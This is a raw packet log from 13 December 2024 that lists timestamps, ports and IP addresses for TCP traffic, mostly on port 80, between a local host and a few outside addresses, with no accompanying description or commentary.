Dec 13, 2024 01:51:40.920635939 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.920686960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.921724081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.921818018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.921875954 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.922921896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.922976017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.923027039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.923079014 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.924139023 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.924192905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.924238920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.925302982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.925307989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.925353050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.925405025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.925550938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.926517963 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.926578045 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.926626921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.926668882 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.927684069 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.927741051 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.927788019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.927838087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.928863049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.928916931 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.928968906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.929017067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.930056095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.930181026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.930232048 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.931220055 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.931277037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.931320906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.931376934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.932399035 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.932447910 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.932497978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.932558060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.933587074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.933713913 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.933772087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.934786081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.934839964 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.934883118 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.934927940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.935934067 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.935978889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.936054945 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.936101913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.937134981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.937226057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.937279940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.938297033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.938349962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.938400984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.938451052 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.939479113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.939532995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.939579964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.939626932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.940663099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.940715075 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.940764904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.940818071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.941840887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.941946030 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.941951990 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.943017006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.943068027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.943119049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.943205118 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.944207907 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.944257975 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.944298029 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.944344997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.945393085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.945502996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.945528030 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.945560932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.946544886 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.946662903 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.946696997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.946728945 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.947735071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.947788000 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.947827101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.947894096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.948934078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.948986053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.949032068 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.949090958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.950113058 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.950165987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.950258017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.950311899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.951280117 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.951356888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.951404095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.951622009 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.952466965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.952523947 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.952577114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.952629089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.953641891 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.953716993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.953732014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.953849077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.954835892 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.954930067 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.954941034 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.954998016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.955996990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.956058025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.956095934 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.956927061 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.957181931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.957269907 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.957310915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.957310915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.958380938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.958431959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.958482981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.958528996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:40.959494114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:40.959585905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.087238073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.087279081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.087338924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.087340117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.087618113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.087822914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.087831974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.087868929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.087929010 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.087982893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.088850021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.088901043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.088937044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.088984966 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.089860916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.089975119 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.090014935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.090014935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.091002941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.091057062 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.091104984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.091165066 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.091861010 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.091911077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.091957092 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.092004061 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.092878103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.092926025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.092962027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.093018055 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.093910933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.093969107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.094022989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.094068050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.094935894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.095042944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.095093966 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.095947981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.096050978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.096103907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.096932888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.096985102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.097031116 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.097095013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.097965956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.098015070 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.098057985 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.098107100 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.098958969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.099009037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.099059105 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.099108934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.099960089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.100086927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.100086927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.100132942 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.100992918 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.101042986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.101095915 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.101146936 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.101993084 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.102097034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.102147102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.102998018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.103049994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.103104115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.103149891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.104041100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.104091883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.104146957 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.104192972 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.105087042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.105139971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.105166912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.105757952 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.106045961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.106096029 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.106256008 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.106306076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.107072115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.107120991 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.107206106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.108093977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.108146906 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.108186007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.108511925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.109075069 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.109129906 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.109146118 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.109302998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.110097885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.110153913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.110203981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.110306978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.111110926 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.111224890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.111275911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.112102032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.112272978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.112298965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.112332106 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.113131046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.113245964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.113245964 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.113291025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.113852978 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:41.113907099 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:41.114121914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.114170074 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.114243984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.114357948 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.115204096 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.115299940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.115348101 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.116178036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.116230011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.116345882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.116398096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.117202044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.117253065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.117254972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.117398977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.118208885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.118283033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.118417978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.118472099 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.119215012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.119277000 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.119334936 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.119379997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.120243073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.120414019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.120474100 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.121248007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.121299982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.121366978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.121437073 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.122260094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.122308016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.122379065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.122428894 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.123269081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.123406887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.123456955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.124279976 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.124341011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.124387026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.124432087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.125294924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.125355959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.125399113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.125448942 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.126323938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.126373053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.126374960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.126422882 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.127331972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.127382994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.127437115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.127481937 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.128313065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.128361940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.128432989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.128551006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.129328012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.129384041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.129425049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.129470110 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.130342007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.130480051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.130527973 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.131375074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.131428003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.131480932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.132380009 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.132435083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.132469893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.132597923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.133382082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.133440018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.133519888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.133569002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.134445906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.134495974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.134555101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.135447979 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.135500908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.135562897 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.135637045 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.136406898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.136455059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.136476994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.136511087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.137480021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.137552977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.137595892 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.138488054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.138556004 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.138572931 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.138603926 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.139450073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.139513969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.139566898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.139619112 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.230298042 CET	443	49843	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:41.230365992 CET	49843	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:41.231856108 CET	49843	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:41.231868982 CET	443	49843	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:41.232230902 CET	443	49843	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:41.278444052 CET	49843	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:41.278466940 CET	49843	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:41.278577089 CET	443	49843	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:41.279218912 CET	80	49839	31.41.244.11	192.168.2.4
